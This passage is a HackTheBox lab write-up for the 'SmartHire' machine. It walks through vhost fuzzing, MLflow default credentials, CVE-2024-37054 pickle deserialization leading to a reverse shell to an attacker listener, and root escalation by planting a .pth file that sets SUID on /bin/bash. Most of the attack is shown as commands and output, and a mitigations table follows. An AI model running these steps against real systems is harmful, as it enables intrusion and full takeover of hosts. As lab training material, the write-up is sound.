models.smarthire.htb) serving an MLflow instance protected only by default credentials (admin:password). MLflow 2.14.1 is vulnerable to CVE-2024-37054: we upload a malicious model version — a model.pkl with a __reduce__ reverse shell payload — promoted to Production, and the application executes it when loading the model for predictions. From the shell as svcweb, sudo -l reveals mlflowctl.py can be run as root; the script calls site.addsitedir() on a plugins directory writable by our group, allowing us to plant a .pth file that executes as root.HackTheBox Linux Medium
🗺️ Machine Info#
| Field | Detail |
|---|---|
| Name | SmartHire |
| OS | Linux |
| Difficulty | Medium |
| IP | 10.129.245.215 |
| Techniques | Vhost fuzzing · MLflow default credentials · CVE-2024-37054 RCE (pickle) · .pth injection via site.addsitedir() through sudo NOPASSWD |
1. Reconnaissance#
1.1 Port Scan#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.245.215PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpecho "10.129.245.215 smarthire.htb" >> /etc/hosts1.2 Directory Enumeration#
ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt \
-u http://smarthire.htb/FUZZlogin [Status: 200, Size: 6160]
register [Status: 200, Size: 6499]
logout [Status: 302, Size: 199]
dashboard [Status: 302, Size: 199]💡 Key finding: the application has its own user registration — no leaked credentials needed to interact with it as an authenticated user.
1.3 Vhost Fuzzing#
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" -fc 301,302models [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 60ms]💡 Attack surface: the vhost
models.smarthire.htbresponds with an HTTP Basic Auth challenge. A401(rather than the generic redirect from the main host) confirms this subdomain exists and has its own backend.
2. MLflow Access — Default Credentials#
models.smarthire.htb serves an MLflow instance. The default credentials are publicly known:
curl -s -u admin:password http://models.smarthire.htb/ | head -5<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>MLflow</title>⚠️ Default credentials:
admin:passwordis valid — full access to the MLflow UI and REST API with no further effort. The version identified in the interface is MLflow 2.14.1, vulnerable to CVE-2024-37054 (RCE via insecure model deserialization).
3. Exploitation — CVE-2024-37054 (MLflow Model Deserialization RCE)#
MLflow 2.14.1 serialises models using pickle. When loading a model for inference, it deserialises model.pkl without validation — allowing arbitrary code execution.
3.1 Register and Create a Legitimate Model#
First we create an account on the main application and upload training data so it registers a model in MLflow:
curl -c cookies.txt -X POST http://smarthire.htb/register \
-d "username=testuser1&company=testcorp1&password=Password123"
curl -b cookies.txt -c cookies.txt -X POST http://smarthire.htb/login \
-d "username=testuser1&password=Password123"
echo -e "years_experience,education_level,hired\n1,1,0\n5,2,1\n3,1,0" > train.csv
curl -b cookies.txt -X POST http://smarthire.htb/upload_hiring_data -F "file=@train.csv"{"message":"Model trained and registered successfully","registered_model":"testcorp1-1cd45f83431b-model","status":"success"}💡 Why this step: we need a model already registered in MLflow under our name so we can upload a malicious new version. When the application receives a
/predictrequest, it loads theProductionversion — which will be ours.
3.2 Register a Malicious Model Version#
With the listener running:
nc -lvnp 4444Run the public PoC:
python3 mlflow_pickle_rce.py \
--mlflow http://models.smarthire.htb \
--model-name "testcorp1-1cd45f83431b-model" \
--lhost 10.10.15.193 --lport 4444[+] Model 'testcorp1-1cd45f83431b-model' already exists, reusing it
[+] MLmodel upload: 200
[+] model.pkl upload: 200
[+] Stage transition to 'Production': 200
[*] Now trigger whatever loads this model version in the target appNormal flow: mlflow.pyfunc.load_model() loads model.pkl → legitimate predictor instance
Malicious flow: model.pkl crafted with __reduce__ → during deserialization, pickle executes
os.system("reverse shell") → outbound connection → shell as svcweb3.3 Trigger the Malicious Model Load#
echo -e "experience,skills\n3,Python" > resume.csv
curl -b cookies.txt -X POST http://smarthire.htb/predict -F "file=@resume.csv"The application calls mlflow.pyfunc.load_model() on the Production version — ours — triggering the reverse shell.
3.4 Stabilise the Shell#
Listening on 0.0.0.0 4444
Connection received on 10.129.245.215 53584
whoami
svcwebpython3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm4. User Flag#
cat /home/svcweb/user.txt🔑 User flag obtained.
5. Privilege Enumeration#
5.1 Checking sudo#
sudo -lUser svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *5.2 Analysing mlflowctl.py#
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path)) # <-- runs before reading arguments
def main():
import mlflow_actions, backup_models
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
if __name__ == "__main__":
main()⚠️ Vulnerable pattern: the script calls
site.addsitedir()on every subdirectory underplugins/before checking which action was requested.site.addsitedir()does more than add a directory to the import path — it also processes any.pthfiles it finds there. In a.pthfile, any line starting withimportis executed as Python code during that processing — and here it runs as root.
5.3 Plugin Directory Permissions#
ls -la /opt/tools/mlflow_ctl/plugins/drwxr-xr-x 3 root root 4096 core
drwxrwxr-x 2 root devs 4096 dev💡 Key finding:
plugins/dev/is writable by thedevsgroup, whichsvcwebbelongs to. There is no need to touchplugins/core/— planting a.pthin the directory we already control is enough.
6. Privilege Escalation — .pth Injection via site.addsitedir()#
6.1 Plant the Malicious .pth File#
echo 'import os; os.system("chmod +s /bin/bash")' \
> /opt/tools/mlflow_ctl/plugins/dev/pwn.pth6.2 Run the Script via sudo#
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status[*] Checking MLflow service status...
[+] MLflow service status: activeThe script exits “normally” — but site.addsitedir() already processed pwn.pth as root before reaching main().
6.3 Use the SUID Binary#
ls -la /bin/bash-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash/bin/bash -p
bash-5.1# whoami
rootNormal flow: site.addsitedir() adds directory to sys.path → imports legitimate modules
Malicious flow: .pth planted in writable directory → site.addsitedir() executes "import os; os.system(...)"
→ as root → chmod +s /bin/bash → /bin/bash -p → EUID 07. Root Flag#
cat /root/root.txt🏁 Root flag obtained.
8. Summary and Lessons Learned#
Compromise path:
- Recon → Nmap reveals ports 22/80. Directory fuzzing confirms a self-registration portal. Vhost fuzzing discovers
models.smarthire.htb(401). - Default credentials →
admin:passwordvalid on MLflow → full UI/API access. Version: MLflow 2.14.1 (CVE-2024-37054). - Legitimate model → register at
smarthire.htb+/upload_hiring_data→ modeltestcorp1-...-modelcreated in MLflow. - CVE-2024-37054 →
mlflow_pickle_rce.pyuploads malicious model version (pickle with__reduce__) promoted toProduction. - RCE →
/predictwith valid CSV →mlflow.pyfunc.load_model()deserialisesmodel.pkl→ reverse shell assvcweb. - User flag →
/home/svcweb/user.txt. - sudo →
NOPASSWD: mlflowctl.py *as root → script callssite.addsitedir()onplugins/dev/(writable by groupdevs). .pthinjection →pwn.pthwithimport os; os.system("chmod +s /bin/bash")→sudo mlflowctl.py status→bash -p→ root.
What I learned from this machine:
site.addsitedir()on directories not exclusively controlled by root is a privilege escalation..pthfiles are not just path entries — anyimport ...line in them executes as Python code during processing. If the directory is writable by a lower-privilege user and the script runs as root, it is arbitrary code execution.Internal service admin panels with default credentials are a frequent vector. MLflow, Jupyter, Airflow, Grafana and many others ship with well-documented factory credentials. An internal service accessible with default credentials is effectively an open service to an attacker with network access.
CVE-2024-37054 demonstrates that loading ML models from untrusted sources is RCE.
pickleexecutes arbitrary code during deserialisation — by protocol design. ML systems that load models without verifying their provenance are inherent attack vectors. The defence requires artefact signing and isolated inference environments.Vhost fuzzing is mandatory in any web enumeration. A host returning a generic redirect may hide vhosts with completely different attack surfaces behind the same IP.
ffufwith-fc 301,302filters the noise and exposes real vhosts.sudoNOPASSWD rules over scripts that load code from dynamic paths are difficult to secure. Even if the script itself looks safe, any directory it processes viaimport,site.addsitedir(), orsys.pathentries turns the rule into a potential escalation if that path is writable by the sudoed user.
Mitigations:
| Vector | Mitigation |
|---|---|
| Hidden vhost discovered by subdomain fuzzing | Return identical responses for unconfigured vhosts; apply rate limiting at the reverse proxy |
MLflow default credentials (admin:password) | Change credentials before any deployment; never expose admin panels with factory credentials |
| CVE-2024-37054 — RCE via model deserialization in MLflow 2.14.1 | Update MLflow to a patched version; restrict who can register/promote model versions; load models in an isolated environment |
| Application that auto-loads the “Production” model version without verifying provenance | Sign and verify model artefacts before loading; separate the model registry from the inference environment |
sudo NOPASSWD over script calling site.addsitedir() on a writable directory | Never run as root code that processes paths writable by lower-privilege users; remove sudo rules over scripts with dynamic code loading |
plugins/dev/ writable by the devs group | Apply read-only permissions on any path processed with elevated privileges; separate development directories from privileged execution paths |